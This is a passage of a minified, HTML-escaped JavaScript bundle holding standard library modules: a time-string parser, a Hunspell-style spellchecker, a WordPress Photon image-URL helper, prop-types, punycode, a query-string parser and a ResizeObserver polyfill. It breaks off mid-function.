88(){},92647(){},21324(){},33362(){},40282(){},88460(){},47769(){},36556(){},76593(){},99650(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={wrapper:&quot;h2NGkiVs1r1nf85LtJpF&quot;,&quot;conversion-notice&quot;:&quot;k3Apzwo3v9n0IaHbB8tf&quot;}},73823(){},83091(){},56251(){},19316(){},15538(){},17280(){},66161(){},56389(){},86887(){},93768(){},65620(){},88942(){},58664(){},36631(){},50888(){},40678(){},43451(){},96440(){},18387(){},70699(){},61627(){},49472(){},98980(){},19595(){},95759(){},42106(){},4825(){},72808(){},44947(){},90483(){},80214(){},82588(){},701(){},2195(){},44895(){},28691(){},20499(){},44997(e){var t=1e3,s=60*t,r=60*s,n=24*r,o=7*n,a=365.25*n;function i(e,t,s,r){var n=t&gt;=1.5*s;return Math.round(e/s)+&quot; &quot;+r+(n?&quot;s&quot;:&quot;&quot;)}e.exports=function(e,l){l=l||{};var c=typeof e;if(&quot;string&quot;===c&amp;&amp;e.length&gt;0)return function(e){if((e=String(e)).length&gt;100)return;var i=/^(-?(?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(e);if(!i)return;var l=parseFloat(i[1]);switch((i[2]||&quot;ms&quot;).toLowerCase()){case&quot;years&quot;:case&quot;year&quot;:case&quot;yrs&quot;:case&quot;yr&quot;:case&quot;y&quot;:return l*a;case&quot;weeks&quot;:case&quot;week&quot;:case&quot;w&quot;:return l*o;case&quot;days&quot;:case&quot;day&quot;:case&quot;d&quot;:return l*n;case&quot;hours&quot;:case&quot;hour&quot;:case&quot;hrs&quot;:case&quot;hr&quot;:case&quot;h&quot;:return l*r;case&quot;minutes&quot;:case&quot;minute&quot;:case&quot;mins&quot;:case&quot;min&quot;:case&quot;m&quot;:return l*s;case&quot;seconds&quot;:case&quot;second&quot;:case&quot;secs&quot;:case&quot;sec&quot;:case&quot;s&quot;:return l*t;case&quot;milliseconds&quot;:case&quot;millisecond&quot;:case&quot;msecs&quot;:case&quot;msec&quot;:case&quot;ms&quot;:return l;default:return}}(e);if(&quot;number&quot;===c&amp;&amp;isFinite(e))return l.long?function(e){var o=Math.abs(e);if(o&gt;=n)return i(e,o,n,&quot;day&quot;);if(o&gt;=r)return i(e,o,r,&quot;hour&quot;);if(o&gt;=s)return i(e,o,s,&quot;minute&quot;);if(o&gt;=t)return i(e,o,t,&quot;second&quot;);return e+&quot; ms&quot;}(e):function(e){var o=Math.abs(e);if(o&gt;=n)return Math.round(e/n)+&quot;d&quot;;if(o&gt;=r)return Math.round(e/r)+&quot;h&quot;;if(o&gt;=s)return Math.round(e/s)+&quot;m&quot;;if(o&gt;=t)return Math.round(e/t)+&quot;s&quot;;return e+&quot;ms&quot;}(e);throw new Error(&quot;val is not a non-empty string or a valid number. val=&quot;+JSON.stringify(e))}},68530(e,t,s){&quot;use strict&quot;;var r=s(10961);e.exports=function(e,t){var s=this;return r(s.data,e,s.data[t]||n,s),s};var n=[]},35479(e,t,s){&quot;use strict&quot;;var r=s(75466);e.exports=function(e){return Boolean(r(this,e))}},49897(e,t,s){&quot;use strict&quot;;var r=s(74424);e.exports=function(e){var t,s,n,o,a=this,i=-1;r(e,a,a.data);for(;++i&lt;a.compoundRules.length;){for(t=a.compoundRules[i],s=&quot;&quot;,o=-1;++o&lt;t.length;)n=t.charAt(o),s+=a.compoundRuleCodes[n].length?&quot;(?:&quot;+a.compoundRuleCodes[n].join(&quot;|&quot;)+&quot;)&quot;:n;a.compoundRules[i]=new RegExp(s,&quot;i&quot;)}return a}},16073(e,t,s){&quot;use strict&quot;;var r=s(58314),n=s(58496);e.exports=a;var o=a.prototype;function a(e,t){var s,o=-1;if(!(this instanceof a))return new a(e,t);if(&quot;string&quot;==typeof e||r(e)?(&quot;string&quot;==typeof t||r(t))&amp;&amp;(s=[{dic:t}]):e&amp;&amp;(&quot;length&quot;in e?(s=e,e=e[0]&amp;&amp;e[0].aff):(e.dic&amp;&amp;(s=[e]),e=e.aff)),!e)throw new Error(&quot;Missing `aff` in dictionary&quot;);if(e=n(e),this.data=Object.create(null),this.compoundRuleCodes=e.compoundRuleCodes,this.replacementTable=e.replacementTable,this.conversion=e.conversion,this.compoundRules=e.compoundRules,this.rules=e.rules,this.flags=e.flags,s)for(;++o&lt;s.length;)s[o].dic&amp;&amp;this.dictionary(s[o].dic)}o.correct=s(35479),o.suggest=s(98559),o.spell=s(92347),o.add=s(68530),o.remove=s(51809),o.wordCharacters=s(13766),o.dictionary=s(49897),o.personal=s(51165)},51165(e){&quot;use strict&quot;;e.exports=function(e){var t,s,r,n,o=this,a=e.toString(&quot;utf8&quot;).split(&quot;\n&quot;),i=-1;void 0===o.flags.FORBIDDENWORD&amp;&amp;(o.flags.FORBIDDENWORD=!1);n=o.flags.FORBIDDENWORD;for(;++i&lt;a.length;)(t=a[i].trim())&amp;&amp;((s=&quot;*&quot;===(r=(t=t.split(&quot;/&quot;))[0]).charAt(0))&amp;&amp;(r=r.slice(1)),o.add(r,t[1]),s&amp;&amp;o.data[r].push(n));return o}},51809(e){&quot;use strict&quot;;e.exports=function(e){return delete this.data[e],this}},92347(e,t,s){&quot;use strict&quot;;var r=s(75466),n=s(91534);e.exports=function(e){var t=this,s=r(t,e,!0);return{correct:t.correct(e),forbidden:Boolean(s&amp;&amp;n(t.flags,&quot;FORBIDDENWORD&quot;,t.data[s])),warn:Boolean(s&amp;&amp;n(t.flags,&quot;WARN&quot;,t.data[s]))}}},98559(e,t,s){&quot;use strict&quot;;var r=s(41455),n=s(92545),o=s(91534),a=s(75466);e.exports=function(e){var t,s,o,a,c,u,d,p,h,m,g,f,b,v,k,y,x,j,w,_,C,A,S,E,N,T=this,B={},P=[],I={},M=[];if(!(e=n(e.trim(),T.conversion.in))||T.correct(e))return[];N=r(e),a=-1;for(;++a&lt;T.replacementTable.length;)for(s=T.replacementTable[a],c=e.indexOf(s[0]);c&gt;-1;)M.push(e.replace(s[0],s[1])),c=e.indexOf(s[0],c+1);a=-1;for(;++a&lt;e.length;)for(m=e.charAt(a),f=e.slice(0,a),b=e.slice(a+1),v=(k=m.toLowerCase())!==m,B={},c=-1;++c&lt;T.flags.KEY.length;)if(!((u=(g=T.flags.KEY[c]).indexOf(k))&lt;0))for(p=-1;++p&lt;g.length;)if(p!==u){if(B[h=g.charAt(p)])continue;B[h]=!0,v&amp;&amp;(h=h.toUpperCase()),M.push(f+h+b)}a=-1,w=e.charAt(0),o=[&quot;&quot;],_=1,C=0;for(;++a&lt;e.length;){for(m=w,w=e.charAt(a+1),f=e.slice(0,a),s=m===w?&quot;&quot;:m+m,c=-1,d=o.length;++c&lt;d;)c&lt;=_&amp;&amp;o.push(o[c]+s),o[c]+=m;++C&lt;3&amp;&amp;(_=o.length)}i.apply(M,o),o=[e],s=e.toLowerCase(),(e===s||null===N)&amp;&amp;o.push(e.charAt(0).toUpperCase()+s.slice(1));s=e.toUpperCase(),e!==s&amp;&amp;o.push(s);y=l(T,t={state:{},weighted:I,suggestions:P},o,M),x=0,_=Math.min(y.length,Math.pow(Math.max(15-e.length,3),3)),A=Math.max(Math.pow(10-e.length,3),1);for(;!P.length&amp;&amp;x&lt;_;)j=x+A,l(T,t,y.slice(x,j)),x=j;P.sort(function(e,t){return function(e,t){return I[e]===I[t]?0:I[e]&gt;I[t]?-1:1}(e,t)||function(e,t){var s=r(e),n=r(t);return s===n?0:s===N?-1:n===N?1:void 0}(e,t)||function(e,t){return e.localeCompare(t)}(e,t)}),o=[],S=[],a=-1;for(;++a&lt;P.length;)s=(E=n(P[a],T.conversion.out)).toLowerCase(),S.indexOf(s)&lt;0&amp;&amp;(o.push(E),S.push(s));return o};var i=[].push;function l(e,t,s,n){var i,l,c,u,d,p,h,m,g,f,b,v,k,y=e.flags.TRY,x=e.data,j=e.flags,w=[],_=-1;if(n)for(;++_&lt;n.length;)C(n[_],!0);for(_=-1;++_&lt;s.length;)for(l=&quot;&quot;,c=&quot;&quot;,u=(i=s[_]).charAt(0),d=i,p=i.slice(1),h=u.toLowerCase()!==u,m=r(i),g=-1;++g&lt;=i.length;)for(l+=c,f=d,p=(d=p).slice(1),c=u,b=h,(u=i.charAt(g+1))&amp;&amp;(h=u.toLowerCase()!==u),d&amp;&amp;b!==h&amp;&amp;(C(l+A(d)),C(l+A(u)+A(c)+p)),C(l+d),d&amp;&amp;C(l+u+c+p),k=-1;++k&lt;y.length;)v=y[k],b&amp;&amp;v!==v.toUpperCase()?(&quot;s&quot;!==m&amp;&amp;(C(l+v+f),C(l+v+d)),C(l+(v=v.toUpperCase())+f),C(l+v+d)):(C(l+v+f),C(l+v+d));return w;function C(s,r){var n,i=t.state[s];i!==Boolean(i)&amp;&amp;(w.push(s),i=(n=a(e,s))&amp;&amp;!o(j,&quot;NOSUGGEST&quot;,x[n]),t.state[s]=i,i&amp;&amp;(t.weighted[s]=r?10:0,t.suggestions.push(s))),i&amp;&amp;t.weighted[s]++}function A(e){var t=e.charAt(0);return(t.toLowerCase()===t?t.toUpperCase():t.toLowerCase())+e.slice(1)}}},10961(e,t,s){&quot;use strict&quot;;var r=s(77598);e.exports=function(e,t,s,a){var i,l,c,u,d,p,h,m=-1;(!(&quot;NEEDAFFIX&quot;in a.flags)||s.indexOf(a.flags.NEEDAFFIX)&lt;0)&amp;&amp;function(e,t,s){var r=e[t];t in e?r===o?e[t]=s.concat():n.apply(r,s):e[t]=s.concat()}(e,t,s);for(;++m&lt;s.length;)if(i=a.rules[s[m]],s[m]in a.compoundRuleCodes&amp;&amp;a.compoundRuleCodes[s[m]].push(t),i)for(p=r(t,i,a.rules,[]),l=-1;++l&lt;p.length;)if(p[l]in e||(e[p[l]]=o),i.combineable)for(c=m;++c&lt;s.length;)if((d=a.rules[s[c]])&amp;&amp;d.combineable&amp;&amp;i.type!==d.type)for(h=r(p[l],d,a.rules,[]),u=-1;++u&lt;h.length;)h[u]in e||(e[h[u]]=o)};var n=[].push,o=[]},58496(e,t,s){&quot;use strict&quot;;var r=s(73509);e.exports=function(e){var t,s,u,d,p,h,m,g,f,b,v,k,y=Object.create(null),x=Object.create(null),j=Object.create(null),w=[],_={in:[],out:[]},C=[],A=e.toString(&quot;utf8&quot;),S=[],E=0,N=A.indexOf(&quot;\n&quot;);j.KEY=[];for(;N&gt;-1;)T(A.slice(E,N)),E=N+1,N=A.indexOf(&quot;\n&quot;,E);T(A.slice(E)),N=-1;for(;++N&lt;S.length;)if(&quot;REP&quot;===(s=(t=S[N].split(a))[0])){for(u=N+parseInt(t[1],10);++N&lt;=u;)t=S[N].split(a),w.push([t[1],t[2]]);N--}else if(&quot;ICONV&quot;===s||&quot;OCONV&quot;===s){for(u=N+parseInt(t[1],10),m=_[&quot;ICONV&quot;===s?&quot;in&quot;:&quot;out&quot;];++N&lt;=u;)t=S[N].split(a),m.push([new RegExp(t[1],&quot;g&quot;),t[2]]);N--}else if(&quot;COMPOUNDRULE&quot;===s){for(u=N+parseInt(t[1],10);++N&lt;=u;)for(f=S[N].split(a)[1],g=-1,C.push(f);++g&lt;f.length;)x[f.charAt(g)]=[];N--}else if(&quot;PFX&quot;===s||&quot;SFX&quot;===s){for(u=N+parseInt(t[3],10),f={type:s,combineable:&quot;Y&quot;===t[2],entries:[]},y[t[1]]=f;++N&lt;=u;){d=(t=S[N].split(a))[2],p=t[3].split(&quot;/&quot;),h=t[4],m={add:&quot;&quot;,remove:&quot;&quot;,match:&quot;&quot;,continuation:r(j,p[1])},p&amp;&amp;&quot;0&quot;!==p[0]&amp;&amp;(m.add=p[0]);try{&quot;0&quot;!==d&amp;&amp;(m.remove=&quot;SFX&quot;===s?l(d):d),h&amp;&amp;&quot;.&quot;!==h&amp;&amp;(m.match=&quot;SFX&quot;===s?l(h):c(h))}catch(e){m=null}m&amp;&amp;f.entries.push(m)}N--}else if(&quot;TRY&quot;===s){for(h=t[1],v=-1,b=[];++v&lt;h.length;)(k=h.charAt(v)).toLowerCase()===k&amp;&amp;b.push(k);for(v=-1;++v&lt;o.length;)h.indexOf(o[v])&lt;0&amp;&amp;b.push(o[v]);j[s]=b}else&quot;KEY&quot;===s?n.apply(j[s],t[1].split(&quot;|&quot;)):&quot;COMPOUNDMIN&quot;===s?j[s]=Number(t[1]):&quot;ONLYINCOMPOUND&quot;===s?(j[s]=t[1],x[t[1]]=[]):j[s]=t[1];isNaN(j.COMPOUNDMIN)&amp;&amp;(j.COMPOUNDMIN=3);j.KEY.length||(j.KEY=i);j.TRY||(j.TRY=o.concat());j.KEEPCASE||(j.KEEPCASE=!1);return{compoundRuleCodes:x,replacementTable:w,conversion:_,compoundRules:C,rules:y,flags:j};function T(e){(e=e.trim())&amp;&amp;35!==e.charCodeAt(0)&amp;&amp;S.push(e)}};var n=[].push,o=&quot;etaoinshrdlcumwfgypbvkjxqz&quot;.split(&quot;&quot;),a=/\s+/,i=[&quot;qwertzuop&quot;,&quot;yxcvbnm&quot;,&quot;qaw&quot;,&quot;say&quot;,&quot;wse&quot;,&quot;dsx&quot;,&quot;sy&quot;,&quot;edr&quot;,&quot;fdc&quot;,&quot;dx&quot;,&quot;rft&quot;,&quot;gfv&quot;,&quot;fc&quot;,&quot;tgz&quot;,&quot;hgb&quot;,&quot;gv&quot;,&quot;zhu&quot;,&quot;jhn&quot;,&quot;hb&quot;,&quot;uji&quot;,&quot;kjm&quot;,&quot;jn&quot;,&quot;iko&quot;,&quot;lkm&quot;];function l(e){return new RegExp(e+&quot;$&quot;)}function c(e){return new RegExp(&quot;^&quot;+e)}},77598(e){&quot;use strict&quot;;e.exports=function e(t,s,r,n){var o,a,i,l,c,u=-1;for(;++u&lt;s.entries.length;)if(l=(o=s.entries[u]).continuation,c=-1,(!o.match||o.match.test(t))&amp;&amp;(a=o.remove?t.replace(o.remove,&quot;&quot;):t,a=&quot;SFX&quot;===s.type?a+o.add:o.add+a,n.push(a),l&amp;&amp;l.length))for(;++c&lt;l.length;)(i=r[l[c]])&amp;&amp;e(a,i,r,n);return n}},41455(e){&quot;use strict&quot;;function t(e){return e===e.toLowerCase()?&quot;l&quot;:e===e.toUpperCase()?&quot;u&quot;:null}e.exports=function(e){var s=t(e.charAt(0)),r=e.slice(1);if(!r)return s;if(r=t(r),s===r)return s;if(&quot;u&quot;===s&amp;&amp;&quot;l&quot;===r)return&quot;s&quot;;return null}},74424(e,t,s){&quot;use strict&quot;;var r=s(73509),n=s(10961);e.exports=function(e,t,s){var r=e.toString(&quot;utf8&quot;),n=r.indexOf(&quot;\n&quot;)+1,o=r.indexOf(&quot;\n&quot;,n);for(;o&gt;-1;)9!==r.charCodeAt(n)&amp;&amp;a(r.slice(n,o),t,s),n=o+1,o=r.indexOf(&quot;\n&quot;,n);a(r.slice(n),t,s)};var o=/\s/g;function a(e,t,s){for(var a,i,l=e.indexOf(&quot;/&quot;),c=e.indexOf(&quot;#&quot;),u=&quot;&quot;;l&gt;-1&amp;&amp;92===e.charCodeAt(l-1);)l=(e=e.slice(0,l-1)+e.slice(l)).indexOf(&quot;/&quot;,l);c&gt;-1?l&gt;-1&amp;&amp;l&lt;c?(a=e.slice(0,l),o.lastIndex=l+1,i=o.exec(e),u=e.slice(l+1,i?i.index:void 0)):a=e.slice(0,c):l&gt;-1?(a=e.slice(0,l),u=e.slice(l+1)):a=e,(a=a.trim())&amp;&amp;n(s,a,r(t.flags,u.trim()),t)}},81277(e,t,s){&quot;use strict&quot;;var r=s(91534);e.exports=function(e,t){var s=-1;if(e.data[t])return!r(e.flags,&quot;ONLYINCOMPOUND&quot;,e.data[t]);if(t.length&gt;=e.flags.COMPOUNDMIN)for(;++s&lt;e.compoundRules.length;)if(e.compoundRules[s].test(t))return!0;return!1}},91534(e){&quot;use strict&quot;;e.exports=function(e,t,s){return s&amp;&amp;t in e&amp;&amp;s.indexOf(e[t])&gt;-1}},75466(e,t,s){&quot;use strict&quot;;var r=s(92545),n=s(81277),o=s(91534);function a(e,t,s){return o(e,&quot;KEEPCASE&quot;,t)||s||o(e,&quot;FORBIDDENWORD&quot;,t)}e.exports=function(e,t,s){var i,l=t.trim();if(!l)return null;if(l=r(l,e.conversion.in),n(e,l))return!s&amp;&amp;o(e.flags,&quot;FORBIDDENWORD&quot;,e.data[l])?null:l;if(l.toUpperCase()===l){if(i=l.charAt(0)+l.slice(1).toLowerCase(),a(e.flags,e.data[i],s))return null;if(n(e,i))return i}if((i=l.toLowerCase())!==l){if(a(e.flags,e.data[i],s))return null;if(n(e,i))return i}return null}},92545(e){&quot;use strict&quot;;e.exports=function(e,t){var s=-1;for(;++s&lt;t.length;)e=e.replace(t[s][0],t[s][1]);return e}},73509(e){&quot;use strict&quot;;e.exports=function(e,s){var r,n=0;if(!s)return t;if(&quot;long&quot;===e.FLAG){for(r=new Array(Math.ceil(s.length/2));n&lt;s.length;)r[n/2]=s.slice(n,n+2),n+=2;return r}return s.split(&quot;num&quot;===e.FLAG?&quot;,&quot;:&quot;&quot;)};var t=[]},13766(e){&quot;use strict&quot;;e.exports=function(){return this.flags.WORDCHARS||null}},14936(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(87399),n=s.n(r),o=s(10067),a=s.n(o),i=s(11264),l=s.n(i);const c=a()(&quot;photon&quot;),u={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},d=&quot;__domain__.invalid&quot;,p=`https://${d}`;function h(e,t){let s;try{s=new URL(e,p)}catch{return null}const r=&quot;https:&quot;===s.protocol,o=new URL(&quot;https://i0.wp.com&quot;);if(a=s.host,/^i[0-2]\.wp\.com$/.test(a))o.pathname=s.pathname,o.hostname=r?&quot;i0.wp.com&quot;:s.hostname;else{if(s.search)return null;let e=s.href.replace(`${s.protocol}/`,&quot;&quot;);&quot;blob:&quot;===s.protocol&amp;&amp;(e=s.pathname.replace(&quot;://&quot;,&quot;//&quot;)),s.hostname===d&amp;&amp;(e=s.pathname),o.pathname=e,o.hostname=function(e,t){if(t)return&quot;i0.wp.com&quot;;const s=n()(e),r=l()(s),o=&quot;i&quot;+Math.floor(3*r());return c(&#039;determined server &quot;%s&quot; to use with &quot;%s&quot;&#039;,o,e),o+&quot;.wp.com&quot;}(e,&quot;https:&quot;===o.protocol),r&amp;&amp;o.searchParams.set(&quot;ssl&quot;,&quot;1&quot;)}var a;if(t)for(const[e,s]of Object.entries(t))&quot;host&quot;!==e&amp;&amp;&quot;hostname&quot;!==e?&quot;secure&quot;!==e||s?o.searchParams.set(u[e]??e,s.toString()):o.protocol=&quot;http:&quot;:o.hostname=s;return c(&quot;generated Photon URL: %s&quot;,o.href),o.href}},15762(e,t,s){&quot;use strict&quot;;var r=s(53761);function n(){}function o(){}o.resetWarningCache=n,e.exports=function(){function e(e,t,s,n,o,a){if(a!==r){var i=new Error(&quot;Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types&quot;);throw i.name=&quot;Invariant Violation&quot;,i}}function t(){return e}e.isRequired=e;var s={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:o,resetWarningCache:n};return s.PropTypes=s,s}},28120(e,t,s){e.exports=s(15762)()},53761(e){&quot;use strict&quot;;e.exports=&quot;SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED&quot;},87072(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;k});const r=2147483647,n=36,o=/^xn--/,a=/[^\0-\x7F]/,i=/[\x2E\u3002\uFF0E\uFF61]/g,l={overflow:&quot;Overflow: input needs wider integers to process&quot;,&quot;not-basic&quot;:&quot;Illegal input &gt;= 0x80 (not a basic code point)&quot;,&quot;invalid-input&quot;:&quot;Invalid input&quot;},c=Math.floor,u=String.fromCharCode;function d(e){throw new RangeError(l[e])}function p(e,t){const s=e.split(&quot;@&quot;);let r=&quot;&quot;;s.length&gt;1&amp;&amp;(r=s[0]+&quot;@&quot;,e=s[1]);const n=function(e,t){const s=[];let r=e.length;for(;r--;)s[r]=t(e[r]);return s}((e=e.replace(i,&quot;.&quot;)).split(&quot;.&quot;),t).join(&quot;.&quot;);return r+n}function h(e){const t=[];let s=0;const r=e.length;for(;s&lt;r;){const n=e.charCodeAt(s++);if(n&gt;=55296&amp;&amp;n&lt;=56319&amp;&amp;s&lt;r){const r=e.charCodeAt(s++);56320==(64512&amp;r)?t.push(((1023&amp;n)&lt;&lt;10)+(1023&amp;r)+65536):(t.push(n),s--)}else t.push(n)}return t}const m=function(e){return e&gt;=48&amp;&amp;e&lt;58?e-48+26:e&gt;=65&amp;&amp;e&lt;91?e-65:e&gt;=97&amp;&amp;e&lt;123?e-97:n},g=function(e,t){return e+22+75*(e&lt;26)-((0!=t)&lt;&lt;5)},f=function(e,t,s){let r=0;for(e=s?c(e/700):e&gt;&gt;1,e+=c(e/t);e&gt;455;r+=n)e=c(e/35);return c(r+36*e/(e+38))},b=function(e){const t=[],s=e.length;let o=0,a=128,i=72,l=e.lastIndexOf(&quot;-&quot;);l&lt;0&amp;&amp;(l=0);for(let s=0;s&lt;l;++s)e.charCodeAt(s)&gt;=128&amp;&amp;d(&quot;not-basic&quot;),t.push(e.charCodeAt(s));for(let u=l&gt;0?l+1:0;u&lt;s;){const l=o;for(let t=1,a=n;;a+=n){u&gt;=s&amp;&amp;d(&quot;invalid-input&quot;);const l=m(e.charCodeAt(u++));l&gt;=n&amp;&amp;d(&quot;invalid-input&quot;),l&gt;c((r-o)/t)&amp;&amp;d(&quot;overflow&quot;),o+=l*t;const p=a&lt;=i?1:a&gt;=i+26?26:a-i;if(l&lt;p)break;const h=n-p;t&gt;c(r/h)&amp;&amp;d(&quot;overflow&quot;),t*=h}const p=t.length+1;i=f(o-l,p,0==l),c(o/p)&gt;r-a&amp;&amp;d(&quot;overflow&quot;),a+=c(o/p),o%=p,t.splice(o++,0,a)}return String.fromCodePoint(...t)},v=function(e){const t=[],s=(e=h(e)).length;let o=128,a=0,i=72;for(const s of e)s&lt;128&amp;&amp;t.push(u(s));const l=t.length;let p=l;for(l&amp;&amp;t.push(&quot;-&quot;);p&lt;s;){let s=r;for(const t of e)t&gt;=o&amp;&amp;t&lt;s&amp;&amp;(s=t);const h=p+1;s-o&gt;c((r-a)/h)&amp;&amp;d(&quot;overflow&quot;),a+=(s-o)*h,o=s;for(const s of e)if(s&lt;o&amp;&amp;++a&gt;r&amp;&amp;d(&quot;overflow&quot;),s===o){let e=a;for(let s=n;;s+=n){const r=s&lt;=i?1:s&gt;=i+26?26:s-i;if(e&lt;r)break;const o=e-r,a=n-r;t.push(u(g(r+o%a,0))),e=c(o/a)}t.push(u(g(e,0))),i=f(a,h,p===l),a=0,++p}++a,++o}return t.join(&quot;&quot;)},k={version:&quot;2.3.1&quot;,ucs2:{decode:h,encode:e=&gt;String.fromCodePoint(...e)},decode:b,encode:v,toASCII:function(e){return p(e,function(e){return a.test(e)?&quot;xn--&quot;+v(e):e})},toUnicode:function(e){return p(e,function(e){return o.test(e)?b(e.slice(4).toLowerCase()):e})}}},24588(e,t){&quot;use strict&quot;;var s=Object.prototype.hasOwnProperty;function r(e){try{return decodeURIComponent(e.replace(/\+/g,&quot; &quot;))}catch(e){return null}}function n(e){try{return encodeURIComponent(e)}catch(e){return null}}t.stringify=function(e,t){t=t||&quot;&quot;;var r,o,a=[];for(o in&quot;string&quot;!=typeof t&amp;&amp;(t=&quot;?&quot;),e)if(s.call(e,o)){if((r=e[o])||null!=r&amp;&amp;!isNaN(r)||(r=&quot;&quot;),o=n(o),r=n(r),null===o||null===r)continue;a.push(o+&quot;=&quot;+r)}return a.length?t+a.join(&quot;&amp;&quot;):&quot;&quot;},t.parse=function(e){for(var t,s=/([^=?#&amp;]+)=?([^&amp;]*)/g,n={};t=s.exec(e);){var o=r(t[1]),a=r(t[2]);null===o||null===a||o in n||(n[o]=a)}return n}},32047(e){&quot;use strict&quot;;function t(e,s){var r;if(Array.isArray(s))for(r=0;r&lt;s.length;r++)t(e,s[r]);else for(r in s)e[r]=(e[r]||[]).concat(s[r])}e.exports=function(e){var s,r={};return t(r,e),(s=function(e){return function(t){return function(s){var n,o,a=r[s.type],i=t(s);if(a)for(n=0;n&lt;a.length;n++)(o=a[n](s,e))&amp;&amp;e.dispatch(o);return i}}}).effects=r,s}},96811(e){&quot;use strict&quot;;e.exports=function(e,t){if(t=t.split(&quot;:&quot;)[0],!(e=+e))return!1;switch(t){case&quot;http&quot;:case&quot;ws&quot;:return 80!==e;case&quot;https&quot;:case&quot;wss&quot;:return 443!==e;case&quot;ftp&quot;:return 21!==e;case&quot;gopher&quot;:return 70!==e;case&quot;file&quot;:return!1}return 0!==e}},94107(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;_});var r=function(){if(&quot;undefined&quot;!=typeof Map)return Map;function e(e,t){var s=-1;return e.some(function(e,r){return e[0]===t&amp;&amp;(s=r,!0)}),s}return function(){function t(){this.__entries__=[]}return Object.defineProperty(t.prototype,&quot;size&quot;,{get:function(){return this.__entries__.length},enumerable:!0,configurable:!0}),t.prototype.get=function(t){var s=e(this.__entries__,t),r=this.__entries__[s];return r&amp;&amp;r[1]},t.prototype.set=function(t,s){var r=e(this.__entries__,t);~r?this.__entries__[r][1]=s:this.__entries__.push([t,s])},t.prototype.delete=function(t){var s=this.__entries__,r=e(s,t);~r&amp;&amp;s.splice(r,1)},t.prototype.has=function(t){return!!~e(this.__entries__,t)},t.prototype.clear=function(){this.__entries__.splice(0)},t.prototype.forEach=function(e,t){void 0===t&amp;&amp;(t=null);for(var s=0,r=this.__entries__;s&lt;r.length;s++){var n=r[s];e.call(t,n[1],n[0])}},t}()}(),n=&quot;undefined&quot;!=typeof window&amp;&amp;&quot;undefined&quot;!=typeof document&amp;&amp;window.document===document,o=&quot;undefined&quot;!=typeof window&amp;&amp;window.Math===Math?window:&quot;undefined&quot;!=typeof self&amp;&amp;self.Math===Math?self:&quot;undefined&quot;!=typeof window&amp;&amp;window.Math===Math?window:Function(&quot;return this&quot;)(),a=&quot;function&quot;==typeof requestAnimationFrame?requestAnimationFrame.bind(o):function(e){return setTimeout(function(){return e(Date.now())},1e3/60)};var i=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;,&quot;width&quot;,&quot;height&quot;,&quot;size&quot;,&quot;weight&quot;],l=&quot;undefined&quot;!=typeof MutationObserver,c=function(){function e(){this.connected_=!1,this.mutationEventsAdded_=!1,this.mutationsObserver_=null,this.observers_=[],this.onTransitionEnd_=this.onTransitionEnd_.bind(this),this.refresh=function(e,t){var s=!1,r=!1,n=0;function o(){s&amp;&amp;(s=!1,e()),r&amp;&amp;l()}function i(){a(o)}function l(){var e=Date.now();if(s){if(e-n&lt;2)return;r=!0}else s=!0,r=!1,setTimeout(i,t);n=e}return l}(this.refresh.bind(this),20)}return e.prototype.addObserver=function(e){~this.observers_.indexOf(e)||this.observers_.push(e),this.connected_||this.connect_()},e.prototype.removeObserver=function(e){var t=this.observers_,s=t.indexOf(e);~s&amp;&amp;t.splice(s,1),!t.length&amp;&amp;this.connected_&amp;&amp;this.disconnect_()},e.prototype.refresh=function(){this.updateObservers_()&amp;&amp;this.refresh()},e.prototype.updateObservers_=function(){var e=this.observers_.filter(function(e){return e.gatherActive(),e.hasActive()});return e.forEach(function(e){return e.broadcastActive()}),e.length&gt;0},e.prototype.connect_=function(){n&amp;&amp;!this.connected_&amp;&amp;(document.addEventListener(&quot;transitionend&quot;,this.onTransitionEnd_),window.addEventListener(&quot;resize&quot;,this.refresh),l?(this.mutationsObserver_=new MutationObserver(this.refresh),this.mutationsObserver_.observe(document,{attributes:!0,childList:!0,characterData:!0,subtree:!0})):(document.addEventListener(&quot;DOMSubtreeModified&quot;,this.refresh),this.mutationEventsAdded_=!0),this.connected_=!0)},e.prototype.disconnect_=function(){n&amp;&amp;this.connected_&amp;&amp;(document.removeEventListener(&quot;transitionend&quot;,this.onTransitionEnd_),window.removeEventListener(&quot;resize&quot;,this.refresh),this.mutationsObserver_&amp;&amp;this.mutationsObserver_.disconnect(),this.mutationEventsAdded_&amp;&amp;document.removeEventListener(&quot;DOMSubtreeModified&quot;,this.refresh),this.mutationsObserver_=null,this.mutationEventsAdded_=!1,this.connected_=!1)},e.prototype.onTransitionEnd_=function(e){var t=e.propertyName,s=void 0===t?&quot;&quot;:t;i.some(function(e){return!!~s.indexOf(e)})&amp;&amp;this.refresh()},e.getInstance=function(){return this.instance_||(this.instance_=new e),this.instance_},e.instance_=null,e}(),u=function(e,t){for(var s=0,r=Object.keys(t);s&lt;r.length;s++){var n=r[s];Object.defineProperty(e,n,{value:t[n],enumerable:!1,writable:!1,configurable:!0})}return e},d=function(e){return e&amp;&amp;e.ownerDocument&amp;&amp;e.ownerDocument.defaultView||o},p=v(0,0,0,0);function h(e){return parseFloat(e)||0}function m(e){for(var t=[],s=1;s&lt;arguments.length;s++)t[s-1]=arguments[s];return t.reduce(function(t,s){return t+h(e[&quot;border-&quot;+s+&quot;-width&quot;])},0)}function g(e){var t=e.clientWidth,s=e.clientHeight;if(!t&amp;&amp;!s)return p;var r=d(e).getComputedStyle(e),n=function(e){for(var t={},s=0,r=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;];s&lt;r.length;s++){var n=r[s],o=e[&quot;padding-&quot;+n];t[n]=h(o)}return 